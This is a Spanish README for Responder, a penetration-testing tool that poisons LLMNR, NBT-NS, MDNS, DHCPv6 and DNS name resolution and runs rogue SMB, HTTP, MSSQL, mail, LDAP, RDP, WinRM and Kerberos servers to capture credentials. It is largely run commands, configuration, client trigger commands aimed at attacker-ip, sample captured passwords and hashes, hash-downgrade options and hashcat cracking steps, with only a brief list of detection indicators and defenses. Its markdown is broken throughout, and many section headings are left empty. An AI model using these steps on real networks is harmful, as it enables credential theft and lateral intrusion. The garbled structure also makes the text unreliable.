
Responder es un envenenador de LLMNR, NBT-NS y MDNS, con un servidor de autenticación rogue incorporado para HTTP/SMB/MSSQL/FTP/LDAP que soporta NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP y autenticación HTTP Basic.
Responder es un envenenador de LLMNR, NBT-NS y MDNS con servidores de autenticación falsos incorporados para HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS y más. Soporta NTLMv1/NTLMv2/LMv2, NTLMSSP de seguridad extendida y varios métodos de autenticación en más de 15 protocolos.
Responder captura credenciales respondiendo a solicitudes de resolución de nombres LLMNR, NBT-NS y MDNS. Cuando un cliente intenta resolver un nombre de host inexistente, Responder responde, dirigiendo al cliente a la máquina del atacante donde múltiples servidores de autenticación falsos capturan las credenciales. También se incluyen servidores falsos DHCP y DHCPv6, que se pueden habilitar por separado.
Datos Capturados:
Esta versión incluye:
sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces
### Instalar Responder```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
---
## Inicio rápido
### Envenenamiento básico```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
sudo python3 Responder.py -I eth0 --dhcpv6 -v
### Forzar autenticación básica HTTP```bash
sudo python3 Responder.py -I eth0 -b -v
sudo python3 Responder.py -I eth0 -Pvd
---
## Envenenamiento de red
### Envenenamiento LLMNR/NBT-NS/MDNS
**Propósito:** Responder a fallos de resolución de nombres
**Cómo funciona:**
1. El cliente difunde una consulta para un host inexistente
2. Responder responde: "Soy ese host"
3. El cliente se conecta al atacante
4. Credenciales capturadas
**Configuración:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
Uso:```bash sudo python3 Responder.py -I eth0 -v
---
### Servidor DHCPv6
**Propósito:** Forzar a los clientes a usar el DNS del atacante a través de IPv6
**Características:**
- ✅ Soporte de INFORMATION-REQUEST (Windows 10/11)
- ✅ Soporte de SOLICIT/REQUEST
- ✅ Filtrado de dominios (segmentación quirúrgica)
- ✅ Router Advertisement (opcional)
**Cómo funciona:**
1. Windows envía INFORMATION-REQUEST, SOLICIT, REQUEST de DHCPv6
2. Responder responde: DNS = IPv6 del atacante
3. Windows prioriza el DNS IPv6
4. Todas las consultas DNS → atacante
5. Envenenamiento de DNS → captura de credenciales
**Configuración:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
Uso:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v
**Salida esperada:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123
Responder incluye 17+ servidores de autenticación rogue:
Propósito: Capturar hashes NetNTLM de recursos compartidos de archivos
Características:
Disparadores:```powershell
\attacker-ip\share \non-existent-server\files
net use \attacker-ip\share
\attacker-ip\
**Formato Capturado:**```
username::domain:challenge:response:blob
Cracking:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
**Configuración:**```ini
[Responder Core]
SMB = On
Propósito: Capturar credenciales FTP en texto claro
Características:
Disparadores:```bash ftp attacker-ip
**Formato capturado:**```
[FTP] Cleartext: username:password
Configuración:```ini [Responder Core] FTP = On
---
### Servidores de Bases de Datos
#### MSSQL Server (Puerto 1433)
**Propósito:** Capturar autenticación de Microsoft SQL Server
**Características:**
- ✅ Autenticación de SQL Server
- ✅ Autenticación de Windows (NTLM)
- ✅ Credenciales SQL en texto claro
- ✅ Captura de hash NetNTLMv2
**Desencadenantes:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
Formatos capturados:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
**Configuración:**```ini
[Responder Core]
SQL = On
Notas:
Propósito: Capturar autenticación de clientes de correo electrónico
Características:
Flujo STARTTLS:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅
**Disparadores:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
Formatos capturados:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response
**Configuración:**```ini
[Responder Core]
SMTP = On
Advertencias de certificado: Las advertencias de certificados autofirmados son normales. Los clientes rechazan el primer intento, reintentan y tienen éxito. Las credenciales aún se capturan.
Propósito: Capturar autenticación IMAP con STARTTLS
Características:
Flujo STARTTLS:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅
**Configuración:**```ini
[Responder Core]
IMAP = On
Propósito: IMAP sobre SSL (cifrado nativo)
Características:
Cómo se diferencia de IMAP:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start
**Configuración:**```ini
[Responder Core]
IMAPS = On
Propósito: Capturar credenciales de recuperación de correo POP3
Características:
Disparadores:``` Email client:
**Formato capturado:**```
[POP3] USER: username
[POP3] PASS: password
Configuración:```ini [Responder Core] POP = On
---
### Servidores Web
#### Servidor HTTP (Puerto 80)
**Propósito:** Capturar autenticación web
**Características:**
- ✅ Autenticación NTLM (NetNTLMv1/v2)
- ✅ Autenticación básica (texto claro)
- ✅ Autenticación Digest (MD5)
- ✅ Inyección WPAD
**Disparadores:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
Forzar autenticación básica:```bash sudo python3 Responder.py -I eth0 -b
**Formatos Capturados:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
Configuración:```ini [Responder Core] HTTP = On
#### Servidor HTTPS (Puerto 443)
**Propósito:** Captura de autenticación HTTPS
**Características:**
- ✅ Cifrado SSL/TLS
- ✅ Todos los métodos de autenticación HTTP
- ✅ Certificado autofirmado
- ✅ WPAD sobre HTTPS
**Configuración:**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
Propósito: Capturar hashes AS-REP para descifrado offline
Características:
Cómo funciona:
Descifrado:```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt
**Configuración:**```ini
[Responder Core]
Kerberos = On
Propósito: Capturar autenticación del directorio LDAP
Características:
Disparadores:```bash
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
dsquery user -d attacker-ip
**Formatos capturados:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
Configuración:```ini [Responder Core] LDAP = On
---
#### Servidor LDAPS (Puerto 636)
**Propósito:** LDAP sobre SSL
**Características:**
- ✅ Cifrado SSL/TLS
- ✅ Todos los métodos de autenticación LDAP
**Configuración:**```ini
[Responder Core]
LDAP = On
Propósito: Capturar autenticación de Remote Desktop
Características:
Desencadenantes:``` Remote Desktop Client:
**Formato capturado:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
Configuración:```ini [Responder Core] RDP = On
**Nota:** Captura autenticación NLA antes de la sesión de escritorio.
---
#### WinRM Server (Puertos 5985, 5986)
**Propósito:** Capturar credenciales de Windows Remote Management
**Características:**
- ✅ HTTP (5985) y HTTPS (5986)
- ✅ Autenticación básica
- ✅ Autenticación NTLM
- ✅ Autenticación Kerberos
**Activadores:**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }
# WinRM command line
winrm invoke -remote:http://attacker-ip
Formatos capturados:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
**Configuración:**```ini
[Responder Core]
WINRM = On
Propósito: DNS falso con filtrado de dominios
Características:
Configuración:```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local
**Cómo funciona:**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
Tipos de Registro Compatibles:
Ejemplo de Filtrado de Dominio:``` DHCPv6_Domain = corp.local
mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)
**Configuración:**```ini
[Responder Core]
DNS = On
Propósito: Capturar autenticación RPC de Windows
Características:
Disparadores:``` Windows services querying RPC endpoint mapper WMI queries Remote registry access
**Formato capturado:**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
Configuración:```ini [Responder Core] DCERPC = On
## Configuración
### Archivo de configuración principal
Edite `Responder.conf`:```ini
[Responder Core]
; === Network Services ===
SQL = On # MSSQL (port 1433)
SMB = On # SMB (ports 445, 139)
RDP = On # Remote Desktop (port 3389)
Kerberos = On # Kerberos (port 88)
FTP = On # FTP (port 21)
POP = On # POP3 (port 110)
SMTP = On # SMTP with STARTTLS (port 25/587)
IMAP = On # IMAP with STARTTLS (port 143)
IMAPS = On # IMAPS with SSL (port 993)
HTTP = On # HTTP (port 80)
HTTPS = On # HTTPS (port 443)
DNS = On # DNS (port 53)
LDAP = On # LDAP/LDAPS (ports 389/636)
DCERPC = On # Windows RPC (port 135)
WINRM = On # Windows Remote Management (ports 5985/5986)
; === Poisoners ===
LLMNR = On # Link-Local Multicast Name Resolution
NBTNS = On # NetBIOS Name Service
MDNS = On # Multicast DNS
DHCP = Off # DHCP (IPv4) - use with caution
DHCPv6 = On # DHCPv6 (IPv6) - use with more caution
; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db
; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
[HTTP Server]
HtmlFilename = files/AccessDenied.html
[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements (use with caution)
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py [options]
### Argumentos requeridos
| Opción | Descripción |
|--------|-------------|
| `-I eth0, --interface=eth0` | Interfaz de red a utilizar (use 'ALL' para todas las interfaces) |
### Opciones de envenenamiento
| Opción | Descripción |
|--------|-------------|
| `-A, --analyze` | Modo de análisis - Ver solicitudes NBT-NS, MDNS, LLMNR sin responder |
| `-w, --wpad` | Iniciar servidor proxy malicioso WPAD (predeterminado: Desactivado) |
| `-F, --ForceWpadAuth` | Forzar autenticación NTLM/Basic en la recuperación de wpad.dat (redes antiguas)|
| `-P, --ProxyAuth` | Forzar autenticación NTLM/Basic para el proxy (altamente efectivo) |
### Opciones de DHCP/DHCPv6
| Opción | Descripción |
|--------|-------------|
| `-d, --DHCP` | Habilitar respuestas DHCP broadcast con inyección WPAD (IPv4) |
| `-D, --DHCP-DNS` | Inyectar servidor DNS en la respuesta DHCP en lugar de WPAD |
| `--dhcpv6` | Habilitar envenenamiento DHCPv6 (responde a mensajes SOLICIT) |
### Opciones de envenenamiento IP
| Opción | Descripción |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | Envenenar solicitudes con otra dirección IPv4 |
| `-6 ADDR, --externalip6=ADDR` | Envenenar solicitudes con otra dirección IPv6 |
| `-i 10.0.0.21, --ip=10.0.0.21` | IP local a usar (solo macOS) |
### Opciones de autenticación
| Opción | Descripción |
|--------|-------------|
| `-b, --basic` | Devolver autenticación HTTP Basic (predeterminado: NTLM) |
| `--lm` | Forzar degradación de hash LM (Windows XP/2003) |
| `--disable-ess` | Forzar degradación NTLMSSP de Seguridad Extendida |
### Opciones avanzadas
| Opción | Descripción |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | Proxy HTTP ascendente para WPAD malicioso |
| `-t 1e, --ttl=1e` | Cambiar TTL de Windows para respuestas envenenadas (hex: 30s=1e, o 'random') |
| `-N NAME, --AnswerName=NAME` | Nombre canónico para respuestas LLMNR (útil para relay Kerberos) |
| `-E, --ErrorCode` | Devolver STATUS_LOGON_FAILURE (habilita captura de autenticación WebDAV) |
### Opciones de salida
| Opción | Descripción |
|--------|-------------|
| `-v, --verbose` | Aumentar verbosidad (recomendado) |
| `-Q, --quiet` | Modo silencioso - Deshabilitar salida del envenenador |
### Información
| Opción | Descripción |
|--------|-------------|
| `--version` | Mostrar la versión del programa y salir |
| `-h, --help` | Mostrar mensaje de ayuda y salir |
---
### Ubicaciones de almacenamiento```
Responder.db # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt # WinRM NetNTLMv2 hashes
sqlite3 Responder.db
.tables
SELECT * FROM hashes;
.mode csv .output hashes.csv SELECT * FROM hashes; .quit
---
### Consideraciones de OpSec
**Indicadores de detección:**
- Respuestas inusuales de LLMNR/NBT-NS
- Servidor DHCP/DHCPv6 no autorizado
- Solicitudes de preautenticación Kerberos inválidas
- Certificados SSL autofirmados
- Múltiples fallos de autenticación
- Respuestas DNS sospechosas
**Medidas defensivas:**
- Deshabilitar MDNS/LLMNR/NBT-NS a través de GPO
- Habilitar DHCP snooping en el switch
- Habilitar protección contra RA IPv6
- Habilitar protección contra DHCPv6
- Monitorear servidores DHCPv6 no autorizados
---
## macOS
Responder funciona en macOS pero requiere el indicador `-i` para especificar su dirección IP local. macOS no soporta la opción de socket `SO_BINDTODEVICE` utilizada en Linux para el enlace de interfaz.
### Uso del script lanzador
El script incluido `macOS_Launcher.sh` maneja los conflictos de servicios automáticamente:```bash
sudo ./macOS_Launcher.sh -I en0
The launcher will:
-i para sobrescribir)ipconfig getifaddr en0
sudo python3 Responder.py -I en0 -i 192.168.1.100
### Protección de Integridad del Sistema (SIP)
Con SIP habilitado (por defecto), macOS impide detener servicios del sistema que se enlazan a puertos que Responder necesita. Tienes tres opciones:
1. **Usar el script lanzador** — reportará conflictos y continuará con lo disponible
2. **Deshabilitar módulos conflictivos** en `Responder.conf` (ej., `SMB = Off`, `DNS = Off`)
3. **Deshabilitar SIP** para obtener funcionalidad completa (consulta la [documentación de Apple](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection))
---
## Solución de problemas
### Problemas comunes
**Permiso denegado:**```bash
sudo python3 Responder.py -I eth0
Interfaz no encontrada:```bash ip link show sudo python3 Responder.py -I wlan0
**Puerto ya en uso:**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd
DHCPv6 No funciona:```bash
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0
sysctl net.ipv6.conf.all.disable_ipv6
**No se capturaron hashes:**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v
# Check firewall
sudo iptables -L
# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
sudo python3 Responder.py -I eth0 -vv
tail -f logs/Responder-Session.log
sudo tcpdump -i eth0 -w responder-capture.pcap
---
## Créditos
**Autor:** Laurent Gaffié
- GitHub: https://github.com/lgandx
- Sitio web: https://secorizon.com/
- Twitter: @secorizon
---
## Donación
Puedes contribuir a este proyecto donando a la siguiente dirección USDT o Bitcoin:
USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
Paypal:
https://paypal.me/PythonResponder
---
## Agradecimientos
El desarrollo de Late Responder ha sido posible gracias a las donaciones recibidas de individuos y empresas.
Queremos agradecer a los principales patrocinadores:
SecureWorks: https://www.secureworks.com/
Synacktiv: https://www.synacktiv.com/
Black Hills Information Security: http://www.blackhillsinfosec.com/
TrustedSec: https://www.trustedsec.com/
Red Siege Information Security: https://www.redsiege.com/
Open-Sec: http://www.open-sec.com/
Y a todos, TODOS los pentesters de todo el mundo que donaron a este proyecto.
Gracias.